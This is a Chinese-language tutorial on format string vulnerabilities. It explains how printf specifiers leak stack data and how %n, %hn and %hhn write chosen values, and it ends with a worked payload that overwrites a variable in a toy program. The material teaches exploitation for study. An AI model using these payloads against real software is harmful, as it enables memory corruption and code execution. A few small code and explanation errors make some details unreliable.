Format String Attack

printf, fprintf, sprintf, vprintf ... 這類的 function 可以自由的指定參數的數量和類型，在被調用之前都不會知道有多少參數被壓入 stack 當中。所以會要求傳入一個 format string 參數用以指定有多少，怎麼樣的參數被傳入其中，然後它就會忠實的按照函數的調用者傳入的格式一個一個的從對應參數位置取出資料來打印出數據，它會假設你已經將你要印出的東西都放到對的參數上。當這個 format string 是我們可以控制的時候，我們就可以利用這個特性來對**幾乎任意位置做讀寫**。

Constrains

1. format string 要可以控制
2. 輸入的 payload 長度可能會被限制
3. 輸入的 payload 可能會被過濾，例如限制 printable char

```
printf(buf);
```

Format String Symbols

```
%d - 十進制 - 輸出十進制整數
%s - 字符串 - 從內存中讀取字符串
%x - 十六進制 - 輸出十六進制數
%c - 字符 - 輸出字符
%p - 指針 - 指針地址
%n - 將目前為止已經輸出的字符數（int）存進指定位置       <=== 很重要
```

Function pass arguments order

function 傳遞參數的方式為將參數先放在 regsiter 裡面在 call 到 function 的程式碼位置，然而 regsiter 不夠用的話就會使用 push/pop stack 來存放，其放入順序為 rdi, rsi, rdx, rcx, r8, r9, "STACK"。也就是說第 1 個參數值會先放在 rdi，第 2 個參數值會放在 rsi，... 以此類推，當超過 6 個參數時就會使用 push/pop stack 來丟進去存參數值。

Read - information leak!

```
#include <stdio.h>

int main( void ) {
        char buf[100];
        scanf( "%s", buf );
        printf( buf );

        return 0;
}
```

input:

> ```
> AAAA.%x.%x.%x.%x.%x.%x.%x.%x
> ```

output:

> ```
> AAAA.ffc7fa18.f7f37300.5657e1c4.0.1.41414141.2e78252e.252e7825
> ```

因為 function 的參數順序和第 1 個參數就是 fmt 本身，所以會從第 2 個參數 rsi 開始 leak。如上所示第 1 個 %p 印出 rsi 的值,第 2 個 %x 印出 rdx 的值, 以此類推... 第 6 個 %x 就會開始 leak stack 上的資訊。例如可以看到 41414141 表示 buf 上 AAAA 的值！

input:

> ```
> AAAA.%6$p
> ```

output:

> ```
> AAAA.0x41414141
> ```

如果想直接從 stack 開始 leak 可以用 `%k$` 來直接 reference 過去，表示對第 k-1 個參數位置做操作。

Write - almost write every where

而 %n 這個 Symbols 會將目前為止已經輸出的字符數（int）存進指定位置。在實務上可以利用它把一個 int（4bytes）的值寫到參數指向的位置上，下面為一個簡單的範例:

```
#include <stdio.h>

int main( void ) {
        int a = 0;
        printf( "123abc%n\n", &a );
        printf( "a = %d\n", a );

        return 0;
}
```

output:

```
123abc
a = 6
```

可以很明顯看到 a 的值被改成 6 這個數字，原因就是在 %n 之前已經 output 6 個 bytes, %n 就會將 6 這個數字寫入 a 所指向的位置。

```
#include <stdio.h>

int main( void ) {
        int a = 0;
        // printf( "%aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%n\n", &a );
        printf( "%45c%n\n", '0', &a );
        printf( "a = %d\n", a );

        return 0;
}
```

output:

```
                                            0
a = 45
```

如果今天想要寫入的值為 45 甚至更大的數字，可以利用 format string 的 Symbols 對齊寬度來輕鬆輸出 45 個或是更多的 char 數量。 例如想要寫入 "/bin//sh" 在目標位置上，就可以使用 `%7526411283028599343c%n`。

通常想要寫的值都會向上面的 "/bin//sh" 一樣很大，會輸出很久(6685 Pb)，容易 IO 不穩，所以通常會拆成 2 (2 bytes) or 4 (1 bytes) 次寫入。要實現分開寫入的話就會用到下面的 symbols，才能夠 4 bytes 拆成 2 or 1 bytes 寫入。(h = half):

```
%100c%n     -> 寫入 4 bytes \x64\x00\x00\x00
%100c%hn    -> 寫入 2 bytes \x64\x00
%100c%hhn   -> 寫入 1 bytes \x64
```

分開寫的方式為串聯 "%kc%kn" ，但要注意的是如果今天輸入的是 "n%300c%8$n"，第 1 個 %n 會寫入 100，第 2 個 %n 會寫入 400 (100+300)，所以要由小排到大，因為如果你想先寫 400，後面就不可能寫 100 這個數字了！

Exploit

如果 format string 存在 stack 上 (例如 local variable) ，就可以將 address 放置於 payload，得知 address 位於第 n 個參數，用 %n$ 去 refenrence 它，對該 address 進行讀寫。

%n$p can read

- leak libc, PIE, Heap, Stack: bypass ASLR

%n$n can write

- almost anywhere!

Example:

```
#include <stdio.h>

int a = 0
int main( void ) {
        char buf[100];

        scanf( "%s", buf );
        printf( buf );

        return 0;
}
```

例如想對 a(addr = 0x6012ac)，寫入 value = 0xfaceb00c，buf 又剛好在 stack(local variable) 上，可以先用 '%x' 去 leak buf 的位置

payload:

```
'%x.' * 20
```

output:

```
c8fef7e3.c8ff08c0.c8d13154.6.c92184c0.c921da98.0.8376ed7d.bf6f6d58.b01045.
0.c41eb1d8.c921d710.0.0.252e7825.2e78252e.78252e78.252e7825.2e78252e.
```

1. 由 output 看出 252e7825 ('%x.' = 25782e) 在第 16 個，
2. 也可以看出他是 Little-Endian 的。
3. 根據這些 leak 出的資訊可以組出下一個 payload 繼續 leak

payload:

```
'%20$p'.ljust( 0x20, '\x00' ) + p64( 0x12345678 )
```

output:

```
0x12345678
```

1. 決定要把 addr 放在哪個位置上，buf 在第 16 個('%16$')，為了留空間放 format string，所以用 ljust 0x20 來確保空間和對齊記憶體位置，預留的空間一定要 8 的倍數 (64 bit) 。
2. 預留空間後面就可以接 addr，它會在 '%20$' 上。 20 是因為 16 + 0x20/8 = 20。
3. 經過測試，可以成功印出 0x12345678 代表 '%k$' refenrence 成功。

payload:

```
# '%4207849484c%20$n'.ljust( 0x20, '\x00' ) + p64( addr )
'%45068c%20$hn%19138c%21$hn'.ljust( 0x20, '\x00' ) \
                        + p64( addr ) + p64( addr+2 )
```

1. 由於 0xfaceb00c(4207849484) 太大了，要分兩次 2 bytes 寫。
2. 0xface = 64206, 0xb00c = 45068，因為要由小到大所以 0xb00c(45068) 要先寫，後面在寫 19138 就是 0xface(64206)。
3. 然後由於記憶體是 Little-Endian 的，所以低位要放在高位，0xb00c 為高位，所以要先接 p64(addr)，再來才是接 p64(addr+2)。
4. 這樣就成功讓 [0x6012ac] = 0xfaceb00c